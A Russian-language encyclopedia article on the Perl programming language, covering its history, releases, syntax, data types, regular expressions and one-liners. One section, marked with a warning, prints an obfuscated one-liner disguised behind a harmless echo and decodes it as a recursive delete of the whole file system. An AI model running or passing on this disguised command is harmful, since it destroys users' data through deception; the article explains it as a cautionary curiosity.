Perl
Perl | |
---|---|
![]() | |
Класс языка | язык программирования |
Появился в | 1987[4] |
Автор | Ларри Уолл |
Разработчик | Ларри Уолл[1] и The Perl Foundation[вд][2] |
Выпуск | |
Система типов | слабая динамическая |
Испытал влияние | C++, Си[1], sed, AWK, Бейсик, Лисп и командная оболочка UNIX |
Повлиял на | Raku, Ruby, PHP, Groovy, JavaScript |
Лицензия | Artistic License[вд][5] и GNU General Public License, version 1.0 or later[вд][6][7] |
Сайт | perl.org (англ.) |
ОС | Linux[8], macOS[8], Windows[8], Solaris[8], AIX[8] и HP-UX[8] |
![]() |
Perl — высокоуровневый интерпретируемый динамический язык программирования общего назначения, созданный Ларри Уоллом, лингвистом по образованию. Название языка официально расшифровывается как Practical Extraction and Report Language («практический язык для извлечения данных и составления отчётов»)[9], а в шутку — как Pathologically Eclectic Rubbish Lister («патологически эклектичный перечислитель мусора»)[9]; разработчики языка не считают его название акронимом[10]. Первоначально название состояло из пяти символов и в таком виде в точности совпадало с английским словом pearl («жемчужина»). Но затем стало известно, что такой язык уже существует, и букву «a» убрали. Символом языка Perl является верблюд — не слишком красивое, но очень выносливое животное, способное выполнять тяжёлую работу.
Основной особенностью языка считаются его богатые возможности для работы с текстом, в том числе работа с регулярными выражениями, встроенная в синтаксис. Перл унаследовал много свойств от языков Си, AWK, скриптовых языков командных оболочек UNIX[источник не указан 381 день].
Perl знаменит огромной коллекцией дополнительных модулей CPAN (около 200 000), которые значительно увеличивают его возможности.
Обзор
[править | править код]![](http://upload.wikimedia.org/wikipedia/commons/thumb/b/b3/Larry_Wall_YAPC_2007.jpg/220px-Larry_Wall_YAPC_2007.jpg)
Perl — язык программирования общего назначения, который был первоначально создан для манипуляций с текстом, но на данный момент используется для выполнения широкого спектра задач, включая системное администрирование, веб-разработку, сетевое программирование, игры, биоинформатику, разработку графических пользовательских интерфейсов[источник не указан 381 день].
Язык можно охарактеризовать скорее как практичный (лёгкость в использовании, эффективность, полнота), чем красивый (элегантность, минималистичность)[11]. Главными достоинствами языка являются поддержка различных парадигм (процедурный, объектно-ориентированный и функциональный стили программирования), контроль за памятью (без сборщика мусора, основанного на циклах), встроенная поддержка обработки текста, а также большая коллекция модулей сторонних разработчиков.
Согласно Ларри Уоллу, у Perl есть два девиза. Первый — «Есть больше одного способа это сделать» («There’s more than one way to do it»), известный также под аббревиатурой TMTOWTDI. Второй слоган — «Простые вещи должны быть простыми, а сложные вещи должны быть возможными» («Easy things should be easy and hard things should be possible»)[источник не указан 381 день].
Особенности
[править | править код]Общая структура Perl в общих чертах ведёт своё начало от языка Си. Perl — процедурный по своей природе, имеет переменные, выражения присваивания, блоки кода, отделяемые фигурными скобками, управляющие структуры и функции.
Perl также заимствует ряд свойств из языков программирования командных оболочек UNIX. Все переменные маркируются ведущими знаками, которые точно выражают тип данных переменной в этом контексте (например, скаляр, массив, хеш). Важно, что эти знаки позволяют переменным быть интерполированным в строках. Perl обладает множеством встроенных функций, которые обеспечивают инструментарий, часто используемый для программирования оболочки, например сортировку или вызов системных служб.
Perl заимствует массивы из Лиспа, регулярные выражения из AWK и sed, из AWK также позаимствованы хеши («ассоциативные массивы»). Регулярные выражения облегчают выполнение многих задач по парсингу, обработке текста и манипуляций с данными.
Perl 5 добавил поддержку сложных типов данных, первоклассных функций (замыкание как значение) и объектную модель. В последнюю входят ссылки, пакеты, выполнение методов от класса, переменные с лексическим объявлением области видимости, а также директивы компилятора (например, strict
). Главнейшим усовершенствованием, представленным в Perl 5, стала возможность помещать код в «пакеты» (package) в качестве модулей для повторного использования. Ларри Уолл позже заметил, что «Весь замысел модульной системы Perl 5 сводился к поощрению роста культуры Perl, а не строчек кода»[12].
Все версии Perl выполняют автоматическую типизацию данных и автоматический контроль над памятью. Интерпретатор знает тип и запросы памяти каждого объекта программы, он распределяет и освобождает память, производя подсчёт ссылок. Перевод одного типа данных в другой — например, числа в строку — происходит автоматически во время исполнения, невозможные для выполнения переводы типов данных приводят к фатальной ошибке.
- Работа в Windows
Пользователи Microsoft Windows обычно используют дистрибутивы с уже скомпилированными бинарными файлами, такие, как ActivePerl или Strawberry Perl[англ.], так как компиляция Perl из исходных кодов в этой ОС — не самая простая задача. Задачу может облегчить Cygwin.
История
[править | править код]Первые версии
[править | править код]Ларри Уолл начал разработку Perl в 1987 году, когда работал программистом в Unisys[13]. Версия 1.0 была выпущена и анонсирована в новостной группе comp.sources.misc 18 декабря 1987 года[14] как «„замена“ для awk и sed».
Perl 2 был выпущен в 1988 году. Основным нововведением в нём был переработанный механизм регулярных выражений. Perl 3, выпущенный в 1989 году, получил возможность обрабатывать потоки двоичных данных.
Изначально единственной документацией для Perl была единственная (огромной длины) man-страница. В 1991 году была выпущена книга «Programming Perl» (известная многим программистам как «Верблюжья книга» (Camel Book) из-за изображения на обложке), которая, де-факто, стала стандартом языка. В то же самое время версия языка была «поднята» до 4‑й — не столько чтобы указать на значительные изменения, сколько чтобы обозначить, что эта версия языка документирована книгой.
Ранний Perl 5
[править | править код]Perl 4 прошёл через серию релизов, остановившись на Perl 4.036 в 1993 году. В этот момент Ларри Уолл забросил Perl 4 и начал работу над Perl 5. Разработка Perl 5 была начата в 1994 году. В то же время был создан список рассылки perl5-porters для координации работы над портированием Perl 5 на различные платформы. Он до сих пор остаётся основным форумом по разработке, обслуживанию и портированию Perl 5[15].
Perl 5.000 был выпущен 17 октября 1994 года.[16] Он включал в себя полностью переписанный интерпретатор, а также много новых языковых возможностей, таких, как объекты, ссылки, локальные переменные (my $var_name
) и модули. Особенно важной частью были модули, так как они предоставили механизм расширения языка без модифицирования интерпретатора. Это позволило стабилизировать интерпретатор, но при этом, дало возможность обычным Perl-программистам добавлять в язык новые возможности. Perl 5 находится в активной разработке по сей день.
Perl 5.001 был выпущен 13 марта 1995 года. Perl 5.002 увидел свет 29 февраля 1996 года с новой поддержкой прототипов. Это позволило авторам модулей создавать функции, которые вели себя так же, как и встроенные функции Perl. Версия Perl 5.003 появилась 25 июня 1996 года и устранила обнаружившиеся проблемы с безопасностью.
Одно из важнейших событий в истории Perl 5 случилось за пределами собственно языка и было следствием поддержки модулей. 26 октября 1995 года начала свою работу CPAN (Comprehensive Perl Archive Network — «всеобъемлющая сеть архивов Perl»), которая стала репозиторием модулей Perl, а также исходного кода самого языка. На данный момент CPAN насчитывает более 198 600 модулей, созданных более чем 14 000 программистами[17] [18].
Perl 5.004 был выпущен 15 мая 1997 года и содержал, кроме всего прочего, пакет UNIVERSAL, который давал языку основной объект, от которого автоматически происходили все классы. Была также включена возможность запрашивать версию модулей. В дополнение к этому Perl стал поддерживать Microsoft Windows, а также ряд других операционных систем.
Perl 5.005 увидел свет 22 июня 1998 года. Этот релиз включал в себя несколько улучшений процессора регулярных выражений, новые перехваты в бэкенд с помощью модулей B::*
, оператор кавычек qr//
для регулярных выражений, большой выбор других новых модулей, а также поддержку ряда операционных систем, в частности, BeOS.
C 2000 по наше время
[править | править код]Версии 5.6.x
[править | править код]Perl 5.6 был выпущен 22 марта 2000 года. Главные изменения включали поддержку 64-битных систем, представление строк в стандарте Юникод, поддержку больших файлов (файлы больше 2 Гб) и ключевое слово our
[19][20]. Во время разработки Perl 5.6 было принято решение изменить схему наименования версий на более близкую к другим проектам с открытым исходным кодом. За версией 5.005_63 следовала версия 5.5.640; согласно плану, версиям в разработке должны были присваиваться нечётные номера, стабильным версиям — чётные.
В 2000 году Ларри Уолл выступил с призывом к сообществу активно обсуждать предложения к следующей версии Perl. Результатом этого обсуждения стал 361 документ RFC (Request for Comments — «запрос комментариев»), которые были использованы в разработке Perl 6. В 2001 году[21] была начата работа над окончательным документом, подводящим итог предложениям к созданию нового поколения Perl. Результат был представлен не в виде формального документа, а в качестве сводки всех RFC. К этому времени Perl 6 существовал исключительно в виде описания языка.
Версии 5.8.x
[править | править код]Perl 5.8 был впервые выпущен 18 июля 2002 года и с этого времени получал ежегодное обновление. Последняя версия Perl 5.8, под номером 5.8.9, увидела свет 14 декабря 2008 года. Perl 5.8 улучшил поддержку Юникода, добавил новую реализацию ввода-вывода, добавил поддержку многопоточности, увеличил числовую точность и добавил несколько новых модулей[22].
В 2004 году началась работа над Синопсисом (Synopsis) — первоначально задуманном как ряд документов, подводящих итоги окончательного документа, упоминавшегося выше. Однако постепенно этот ряд документов и стал спецификацией Perl 6. В феврале 2005 года Отриус Тан начала работу над Pugs[англ.] — интерпретатором Perl 6, написанном на Haskell[23]. Это было первой настоящей попыткой воплотить Perl 6 в реальность. Эта попытка заглохла в 2006 году.
Версии 5.10.x
[править | править код]18 декабря 2007 года, в день 20-летней годовщины Perl 1.0, была выпущена версия Perl 5.10.0. Эта версия содержала в себе ряд заметных нововведений, приближающих её к Perl 6. Одними из таких нововведений стали новые операторы switch (названных «given»/«when»), обновление регулярных выражений, а также «умный» оператор совпадения «~~»[24][25].
Примерно в это же время всерьёз началась разработка новой реализации Perl 6, известной как Rakudo Perl[англ.], разработанной в связке с виртуальной машиной Parrot. С ноября 2009 года Rakudo Perl регулярно обновляется каждый месяц и является на данный момент самой полной реализацией Perl 6.
Версии 5.11.x
[править | править код]Значительное изменение процесса разработки Perl 5 произошло после появления Perl 5.11. Сообщество разработчиков перешло на ежемесячный цикл выпусков, с планированием даты выпуска на три месяца вперёд.
Версии 5.12.x
[править | править код]12 апреля 2010 года Perl 5.12.0 был представлен общественности. Выдающиеся нововведения включают в себя поддержку нового синтаксиса package NAME VERSION
, оператор Yada Yada (служащего для маркировки кода-заполнителя, который ещё не реализован), полное решение «проблемы 2038 года» (Y2038), перегрузку операторов регулярных выражений, поддержку DTrace (фреймворка динамической трассировки), а также полную поддержку стандарта Unicode 5.2[26]. 7 сентября 2010 года был выпущен Perl 5.12.2, а 21 января 2011 — Perl 5.12.3. Эти выпуски содержат обновление модулей, а также некоторые изменения в документации[27][28]. Версия 5.12.4 выпущена 20 июня 2011. Последняя версия этой ветви, 5.12.5, выпущена 10 ноября 2012.
Версии 5.14.x
[править | править код]14 мая 2011 выпущен Perl 5.14. Поддержка JSON стала встроенной, начиная с версии 5.14.2. Последняя версия этой ветви, 5.14.4, выпущена 10 марта 2013.
Версии 5.16.x
[править | править код]20 мая 2012 выпущен Perl 5.16. Значимым новшеством является возможность указать нужную версию Perl, которую надо эмулировать, позволяя пользователям обновить Perl, но сохранить работоспособность старых скриптов, которые иначе стали бы несовместимыми с новой версией[29]. Ядро Perl 5.16 поддерживает Unicode 6.1[29].
Версии 5.18.x
[править | править код]18 мая 2013 выпущен Perl 5.18. Значимые нововведения включают новые зацепки dtrace, лексические функции, увеличение числа включённых в ядро функций, пересмотр реализации хешей из соображений безопасности, поддержка Unicode 6.2[30].
Версии 5.20.x — 5.26.x
[править | править код]Версия 5.20 вышла 27 мая 2014[31].
16 апреля 2015 было объявлено о предполагавшемся выходе версии 5.22[32], 9 мая 2016 вышла версия 5.24[33].
30 мая 2017 года вышла очередная стабильная версия за номером 26[34].
![]() | Информация в этой статье или некоторых её разделах устарела. |
Версии 5.28.x
[править | править код]Версия 5.28.0 вышла 22 июня 2018[35].
Ключевые нововведения:
- Поддержка Unicode 10.0 (появился символ биткоина).
- Стандартную функцию
delete
можно использовать на срезах хэша ключ / значение:
my %sanitised_values = delete %input_values{@allowed_keys};
- Проверка системы письменности на однородность (script runs):
'Perl' =~ /^(*sr:\w+$)/
Вернёт «ложь», так как буква «е» кириллическая (подробнее о script runs[36])
Экспериментальные возможности:
- Поддержка буквенных синонимов для некоторых утверждений (assertion) регулярных выражений:
(?=...) (*pla:...) or (*positive_lookahead:...)
(?!...) (*nla:...) or (*negative_lookahead:...)
(?<=...) (*plb:...) or (*positive_lookbehind:...)
(?<!...) (*nlb:...) or (*negative_lookbehind:...)
(?>...) (*atomic:...)
Улучшения производительности:
- Серьёзно снижены накладные расходы связанные с использованием параметров юникод (
\p{...}
) в регулярных выражениях. - Существенно ускорена множественная конкатенация. Например, следующий код на x86_64 работает в 4 раза быстрее:
my $a = "ab\x{100}cde";
my $b = "fghij";
my $c = "\x{101}klmn";
my $s;
for my $i (1..10_000_000) {
$s = "\x{100}wxyz";
$s .= "foo=$a bar=$b baz=$c";
}
printf()
с фиксированным набором аргументов и строкой формата содержащей только %s и %% работает быстрее.ref()
работает намного быстрей в булевом контексте, так как больше не создаётся временная строка вродеFoo=ARRAY(0x134af48)
.- Циклы
for()
и аналогичные конструкции в большинстве ситуаций будут работать быстрей. - Появилась возможность хранить процедуры в пакетах без использования таблиц имён, что позволяет сэкономить крупные объёмы памяти.
Другие изменения:
- Ядро почистили от «use vars». Многие продолжают использовать «use vars», что является плохой практикой с момента введения «our» в версии 5.6.0.
- Новое предупреждение для случаев:
my $name='Pistachio';
print "In $name's house";
- Побитовые операции для строк и чисел больше не являются экспериментальными.
- Редактирование на месте с помощью
perl -i
стало безопаснее.
Версия 5.32.0
[править | править код]Вышла 20 июня 2020[37] и за 13 месяцев разработки изменено около 140 тысяч строк кода в 880 файлах. Perl 5.32 переходит в режим долгой поддержки на срок от 5 лет. На «Perl and Raku Conference in the Cloud»[38], Sawyer X. анонсировал смену основной версии Perl с 5 на 7[39]. Ожидается, что Perl 7 это всё тот же Perl 5.32 с современными настройками по умолчанию.
Ключевые нововведения:
- Новый экспериментальный оператор isa, проверяющий, является ли указанный объект экземпляром переданного класса или класса-наследника:
if( $obj isa Package::Name ) { ... }
- Поддержка Unicode 13.0!
- Появилась возможность записывать операторы сравнения с одним приоритетом в виде цепочки:
if ( $x < $y <= $z ) {...}
# То же самое что:
if ( $x < $y && $y <= $z ) {...}
- Буквенные обозначения утверждений в регулярных выражениях больше не являются экспериментальными, например: (
*pla:pattern
) - Возможность ограничения проверяемого шаблона конкретной системой письма («Script Runs») больше не является экспериментальной.
- Появилась возможность отключать непрямой вызов методов.
Некоторые оптимизации:
- Проверка подключения дополнительных возможностей (features) теперь происходит быстрее.
- Существенно ускорены специальные случаи для сортировки (например,
{$a <=> $b}
и{$b <=> $a}
).
Версия 5.34.0
[править | править код]Вышла 20 мая 2021[40][41]. Perl 5.34.0 представляет собой примерно 11 месяцев разработки с тех пор, как вышла версия Perl 5.32.0 и содержит примерно 280 000 строк изменений в 2100 файлах от 78 авторов. Если исключить документацию, генерируемые автоматически файлы и инструментарий для формирования самого релиза, было изменено 150 000 строк в 1300 .pm, .t, .c и .h-файлах.
Новая функциональность:
- Добавлена экспериментальная поддержка
try/catch
.
use feature 'try';
try {
a_function();
}
catch ($e) {
warn "An error occurred: $e";
}
- Нижняя граница диапазонного квантификатора теперь может быть не указана:
qr/{,n}/
. - Допускается наличие пробелов для заключённой в фигурные скобки части метасимволов:
\x{ FFFC }
илиqr/a{ 5, 7 }/
. - Добавлен префикс
0o
для записи восьмеричных констант:0o123_456
. - В модуль feature добавлены две включённых по умолчанию настройки-ограничителя
bareword_filehandles
иmultidimensional
:
no feature qw( bareword_filehandles );
open( FP, "<", "./x" );
no feature qw( multidimensional );
my %h = ();
$h{1,2};
- Исправлен случай утечки памяти.
- Расширен набор сообщений об ошибках и предупреждений.
- Добавлены изменения в документации.
Сопутствующие решения
[править | править код]Некоторые наблюдатели приписывают выходу Perl 5.10 запуск движения Modern Perl[42][43]. В частности, эта фраза описывает стиль разработки, подразумевающий использование CPAN, использование преимуществ последних разработок на языке, а также требовательность к высокому качеству кода[44].
В конце 2012 и в 2013 запущены несколько проектов по альтернативной реализации Perl 5: Perl5 in Perl6 (Rakudo Perl team)[45], moe (Стивен Литл с друзьями)[46], p2[47] (Perl11 team under Reini Urban), а также gperl (goccy)[48].
Perl 6
[править | править код]С 2000 года идёт разработка новой (6-й) версии языка. В отличие от предыдущих версий, разработчики планируют создать чётко определённый стандарт языка. В настоящее время существуют экспериментальные компиляторы Perl 6, но продолжается дальнейшее обсуждение новых правил.
Синтаксис языка Perl
[править | править код]Синтаксис Perl имеет много общего с синтаксисом языков Си, AWK, sed и Bourne shell.
Первая строка исходного кода может начинаться с «#!/Путь/к/Perl [-ключи]» — что указывает системе путь к интерпретатору Perl для выполнения программы в UNIX-системах и выполнения их на веб-сервере (см. также: Шебанг (Unix)).
Пример программы
[править | править код]Простейшая программа «Hello, world!» выглядит следующим образом:
#!/usr/bin/perl
print "Hello, world!\n";
либо для CGI:
#!/usr/bin/perl
print "Content-type: text/html\n\n";
print "Hello, world!";
либо используя один из post modern web-framework
use Mojolicious::Lite;
get '/' => {text => 'Hello World!'};
app->start;
либо используя PSGI спецификацию
my $app = sub {
return [200, ['Content-Type' => 'text/plain'], ["hello, world\n"]];
}
Дозапись в строку.
$x = 5;
$x .= 0;
print $x; #50
А вот так можно напечатать число гугол.
print 1, 0 x 100;
Типы данных
[править | править код]Основные типы данных: скаляр, массив, хеш-таблица, функция, указание на файл, запись таблицы символов. Переменные разных типов отличаются знаком, который стоит перед именем переменной:
Тип | Символ | Пример | Описание |
---|---|---|---|
Скаляр | $ | $foo | единичное значение; может быть числом, строкой, указанием на файл, а также ссылкой. |
Массив | @ | @foo | Упорядоченная коллекция скаляров. |
Хеш-таблица | % | %foo | Коллекция из пар строка-скаляр; строки называются ключами, а скаляры — значениями. Синоним — ассоциативный массив. |
Файловый дескриптор | < > | $foo или FOO | Представление открытого файла или другой цели, открытой для чтения и/или записи. |
Функция | & | &foo | Отрезок кода, который принимает аргументы, исполняет действия и возвращает значения. |
Запись таблицы символов | * | *foo | Запись таблицы символов для всех типов с именем 'foo'. |
Скаляр
[править | править код]Скалярные переменные используются для хранения одиночных значений. Они могут содержать числа, строки и ссылки на другие объекты. Перед именем скалярной переменной необходимо ставить знак доллара '$'. Тип скалярной переменной не фиксирован (в отличие от, например, языка Си) и определяется динамически в зависимости от контекста. Например,
$x = 10; # число
$y = $x + 1; # используем $x как число…
$z = $x . 'string'; # … а теперь — как строку
$ref = \$x; # $ref является указателем на $x
$$ref = 10; # $x содержит значение 10
Строковые данные должны быть помещены в кавычки. Perl использует два вида кавычек — одиночные и двойные. Помещение строки в двойные кавычки позволяет автоматически заменить встречающиеся имена переменных на их значения. Заключение строк в одиночные кавычки предотвращает такое поведение:
## Пример интерполяции переменных в двойных кавычках
$pi = 3.141592654;
$var1 = 'Значение Pi - $pi\n';
print $var1; # Значение Pi - $pi\n
$var2 = "Значение Pi - $pi\n";
print $var2; # Значение Pi - 3.141592654
Для включения двойных кавычек в строку, которая была помещена в двойные кавычки, следует использовать \". Для включения одинарных кавычек в строку из одинарных кавычек — \'. Для удобства работы со строками, содержащими много знаков кавычек внутри, Perl позволяет использовать альтернативные способы закавычивания. Альтернативная форма использует любую пару знаков, помещённых после буквы q (имитирует поведение одинарных кавычек) или qq (имитирует поведение двойных кавычек):
## Пример использования альтернативных кавычек
$pi = 3.141592654;
$link1 = q{<a href="http://ru.wikipedia.org/wiki/Pi">$pi</a>};
print $link1; # <a href="http://ru.wikipedia.org/wiki/Pi">$pi</a>
$link2 = qq{<a href="http://ru.wikipedia.org/wiki/Pi">$pi</a>};
print $link2; # <a href="http://ru.wikipedia.org/wiki/Pi">3.141592654</a>
Ещё один тип кавычек в Perl — обратные кавычки. В них помещаются программы операционной системы, вывод которых может быть передан интерпретатору Perl. Например:
## Пример использования обратных кавычек для исполнения команд UNIX
$space = `du -s -k /usr/local/bin`;
print $space; # 6264 /usr/local/bin
$sysuptime = `uptime`;
print $sysuptime; # 2:24 up 1 day, 9:05, 1 user, load averages: 0.26 0.32 0.33
Массив
[править | править код]Массив является упорядоченным списком скаляров. Каждый элемент массива имеет порядковый индекс, с помощью которого к нему можно получить доступ. Нумерация элементов начинается с нуля, то есть первый элемент списка имеет индекс 0. Перед именем переменной-массива необходимо ставить знак '@', а для доступа к определённому элементу массива использовать знак '$', так как отдельный элемент массива является скаляром. Многомерные массивы можно смоделировать, помещая в список ссылки на другие списки.
@array = (1,2,3,4); # записали в массив @array четыре элемента
print $array[2]; # напечатать третий элемент
print @array[2,3]; # напечатать третий и четвёртый элемент.
# Здесь используется @, так как результат операции среза массива тоже является массивом.
Хеш-таблица
[править | править код]- Хеш-таблица представляет собой ассоциативный массив, позволяющий ассоциировать строку (называемую «ключом») со скаляром (значение). Строка называется ключом, а скаляр в хеш-таблице значением. Перед именем переменной-списка необходимо ставить знак процента '%', а для доступа к определённому элементу массива необходимо ставить знак '$'.
Хеш-таблицу можно инициализировать массивом или списком, состоящим из неограниченного числа последовательностей (ключ, значение).
%hash = (
cat => 'kitten', # здесь => - это так называемая "длинная запятая", в этом примере
dog => 'puppy', # по функции полностью аналогичная обыкновенной "," за исключением
cow => 'calf' # того, что литералы слева неявно заключаются в кавычки
);
print $hash{'cat'}; #Напечатает kitten
print join("-", keys %hash) ; # Вывод всех ключей. Напечатает cat-dog-cow
print join("-", values %hash) ; # Вывод всех значений. Напечатает kitten-puppy-calf
print join("-", %hash) ; # Напечатает cat-kitten-cow-calf-dog-puppy, так как в списковом контексте хеш автоматически
# разворачивается в список (ключ, значение). Так как ключи в хеше не сортируются,
# пары каждый раз будут выводиться в произвольном порядке.
Функция
[править | править код]- Функция представляет собой фрагмент исполняемого кода. Функция всегда возвращает какое-либо значение. Если возвращаемое значение явно не указано оператором return, возвращается последнее вычисленное значение. Если в функции используется return без параметров, то в зависимости от контекста вызова функции возвращается неопределённое значение undef, пустой список или вообще ничего.
sub printTwo{
print 2;
}
sub three{
3;
}
$s = \&three;
print &$s; #Напечатает 3
$s = \&printTwo; # Запишем в скаляр $s ссылку на функцию — через эту ссылку она будет вызвана в следующей строке.
print &$s; #Напечатает 21. `2` в коде функции, а `1` как значение, возвращаемое функцией printTwo
print &printTwo #То же самое
Константа
[править | править код]- Константа представляет собой неизменяемое значение. Константа не является встроенным типом языка и эмулируется при помощи функций. Предпочтительно задавать константы с помощью стандартного модуля constant, чтобы в будущем не зависеть от возможных изменений в реализации констант. Использование:
use constant MY => 2;
print MY;
Запись таблицы символов
[править | править код]- Запись таблицы символов (typeglob) — специальный тип, в котором хранятся ссылки на все переменные других типов с таким названием, а также на символы, которые часто использует для хранения файловый дескриптор, представляющих собой указатель на файл, устройство или PIPE канал, открытые для записи, чтения или для записи и чтения.
Использование:
$s = readline *STDIN; #Читаем одну строку из дескриптора STDIN (стандартный поток ввода); скалярный контекст.
@values = <FILE>; #Читаем все строчки из некоторого открытого и связанного с дескриптором FILE файла; списковый контекст.
print STDOUT $s; #Печатаем в STDOUT (стандартный поток вывода)
Более точный пример, в котором typeglob используется для передачи файлового дескриптора в функцию:
my $file = 'file.txt'; #имя файла, который читаем
open FH, $file; #открываем файл
my $text = _parseFile(*FH); #передаём файловый дескриптор в функцию
print $text;
close FH; #обязательно закрываем файловый дескриптор
sub _parseFile
{
my $fh = shift; #получаем файловый дескриптор
my $text = join('',<$fh>);#построчно читаем из файлового дескриптора, в строку и помещаем в переменную $text
return $text;
}
В последних версиях Perl появилась возможность хранить файловые дескрипторы в скалярах, и в новых программах предпочтительно пользоваться именно этим способом.
Также таблицы символов используются для связи двух имён переменной с одним значением в памяти, создавая синонимы, которые могут быть использованы для доступа и модификации значения точно также как и оригинальное имя. Эта возможность является основой системы загружаемых модулей, классов и объектов в Perl.
Классы и объекты
[править | править код]Объект в Perl представляет собой просто ссылку, связанную с определённым классом (пакетом). Для связи используется функция bless. Подпрограммы такого связанного пакета являются методами и получают ссылку в качестве первого аргумента.
Специальный синтаксис для конструкторов отсутствует, используется подпрограмма пакета, возвращающая ссылку, связанную с этим пакетом.
Также существуют множество расширений для системы ООП, позволяющих менять синтаксис и использовать синтаксический сахар, в числе которых стоит назвать cpan-модуль Moose и его облегчённую версию Moo[49]. Moose используется многими проектами и крупными компаниями, такими как BBC или Cisco[50].
Регулярные выражения
[править | править код]Важной частью Perl являются регулярные выражения. Благодаря этому Perl хорошо подходит для обработки текстов. Бо́льшая часть работы с регулярными выражениями производится при помощи операторов =~
, m//
и s///
.
Оператор m//
используется для проверки на совпадение. В простейшем случае результат выражения $x =~ m/abc/
будет истинным тогда и только тогда, когда строка $x
будет соответствовать регулярному выражению abc
. Например:
Пример | Значение |
---|---|
$x =~ /abc/
|
Строка $x содержит (под)строку «abc». Начальная буква «m» оператора при использовании // может быть опущена.
|
$x =~ m/a(.{1,3})c/
|
Строка $x содержит букву «a», затем от одного до трёх любых символов кроме символа перевода строки «\n», и затем букву «c».
|
$x =~ m{^p(erl|ugs)$}i
|
Строка $x строго равна «perl» или «pugs» без учёта регистра. Так же, вместо // регулярное выражение окружено в {} .
|
Поиск и замена выполняются при помощи оператора s///
. Конструкция $x =~ s/abc/def/;
заменит первое вхождение регулярного выражения abc
на строку def
.
Пример | Значение |
---|---|
$x =~ s/abc/def/g;
|
Все вхождения (на что указывает флаг /g — global) подстроки «abc» в $x будут заменены на «def».
|
$x =~ s/a(.{1,3})c/!$1!/;
|
Первое вхождение в $x буквы «a», затем от одного до трёх любых символов кроме символа перевода строки «\n», и затем буквы «c» будет заменено на эти символы между «a» и «c», окружённые «!». Например, «syntactic» станет «synt!cti!».
|
$x =~ s{^p(erl|ugs)}{"P" . lc $1}ieg;
|
Здесь показан пример использования модификатора /e , указывающего на то, что вместо строки замены будет написан код, результат выполнения которого надо использовать. Все вхождения «perl» или «pugs» в любом регистре будут заменены на «Perl» и «Pugs», соответственно.
|
С появлением динамических регулярных выражений (??{ код Perl })
и конструкции для включения в регулярное выражение исполняемого кода Perl (?{ код Perl })
возможности по поиску и замене стали практически безграничными. К примеру, стал возможен поиск конструкций произвольного уровня вложенности.
Регулярные выражения Perl настолько популярны, что они включены напрямую в другие языки, такие как PHP и JavaScript, а также существуют подключаемые библиотеки, реализующие использование выражений в компилируемых языках.
Программы из одной строки
[править | править код]Интересной и часто используемой возможностью Perl являются так называемые однострочники — программы из одной строки, обычно задаваемые прямо в строке вызова интерпретатора с помощью ключа -e
.
Эта программа напечатает простые числа:
perl -wle '(1 x $_) !~ /^(1|((11+)\3+))$/ && print while ++ $_'
Этот пример напечатает только уникальные строки файла file, ключ -n
автоматически заворачивает строку обработки в цикл, который проходит по всем строкам в файлах, указанных после текста программы:
perl -ne '$s{$_}++ || print' file
Примечание: для запуска предыдущей команды под Windows замените в ней апострофы '
на двойные кавычки "
.
В этих примерах Perl напоминает своей краткостью и непонятностью с первого взгляда язык J.
![]() | Запуск нижеследующего кода может привести вашу систему в неработоспособное состояние. |
Также одним из подобных примеров является вызвавшая большой резонанс программа[51], на самом деле являющаяся патчем Бармина (замаскированной командой рекурсивного удаления всех файлов):
echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
echo "test... test... test..."
выполнение этой команды не влияет на работу и добавлено, скорее всего, для усыпления бдительности. То, что происходит в остальном коде — совсем не очевидно из-за преднамеренно запутанного написания. В данной строчке записано всего три последовательно выполняемых команды. Запишем команду следующим образом:
$? ? s:;s:s;;$?: : s;;=]=>%-{<-|}<&|`{; ;
y; -/:-@[-`{-};`-{/" -; ;
s;;$_;see
Первая конструкция анализирует переменную $? — код возврата предыдущей команды. Так как перед выполнением этой конструкции дочерних процессов не создавалось, $? будет содержать 0, и выполнена будет вторая «ветка» s;;=]=>%-{<-|}<&|`{;. Эта команда, в свою очередь, заменяет строку в переменной-аккумуляторе $_ на =]=>%-{<-|}<&|`{ (первый символ после s устанавливает ограничитель параметров этого оператора, и хотя традиционно используются слэш '/' или '|', для неясности в этой конструкции используется ограничитель ';').
Вторая команда транслирует содержимое «аккумулятора» по достаточно сложным правилам. В левой части указано четыре диапазона символов, в правой — один. Если раскрыть эти диапазоны, получим следующее соответствие:
!"#$%&'()*+,-./:;<=>?@[\]^_`{|}
`abcdefghijklmnopqrstuvwxyz{/" -
В результате содержимое $_ принимает вид
system"rm -rf /"
Третья же команда дважды (как инструктирует флаг ee
) «вычисляет» содержимое аккумулятора — вышеуказанную деструктивную команду — и пытается заменить пустую строку в аккумуляторе на результат вычисления.
Языки программирования и оболочки со схожими технологиями
[править | править код]Perl — далеко не единственный язык, дающий богатые возможности в обработке текста. Языки программирования РЕФАЛ, Icon и Снобол предоставляют возможность более полно использовать метод программирования «сопоставления с образцом», частным случаем которого и являются регулярные выражения.
Существует также полноценная командная оболочка UNIX, использующая в качестве основы язык Perl. Называется она psh и даёт возможность смешивать команды обычной оболочки и самого Perl’а[52].
Интересные факты
[править | править код]На Perl можно даже писать стихотворения. Одно из таких стихотворений под названием «Black Perl» («Чёрная жемчужина» или «Чёрный перл») было упомянуто Ларри Уоллом в первоапрельском письме в Usenet. Оно было написано изначально для Perl 3, и по словам самого Ларри, он испытал моральное удовлетворение, когда стихотворение не прошло синтаксический анализатор в Perl 5.
BEFOREHEAD: close door, each window & exit; wait until time.
open spellbook, study, read (scan, select, tell us);
write it, print the hex whole each watches,
reverse its length, write again;
kill spiders, pop them, chop, split, kill them.
unlink arms, shift, wait & listen (listening, wait),
sort the flock (then, warn the "goats" & kill the "sheep");
kill them, dump qualms, shift moralities,
values aside, each one;
die sheep! die to reverse the system
you accept (reject, respect);
next step,
kill next sacrifice, each sacrifice,
wait, redo ritual until "all the spirits are pleased";
do it ("as they say").
do it(*everyone***must***participate***in***forbidden**s*e*x*).
return last victim; package body;
exit crypt (time, times & "half a time") & close it,
select (quickly) & warn your next victim;
AFTERWORDS: tell nobody,
wait, wait until time;
wait until next year, next decade;
sleep, sleep, die yourself,
die at last
Редакторы
[править | править код]Специально для Perl-разработчиков на языке Perl с использованием интерфейсной библиотеки wxWidgets написан такой открытый продукт как Padre IDE[англ.] (сокращение от «Perl Application Development and Refactoring Environment» — среда разработки и рефакторинга перл-приложений)[53].
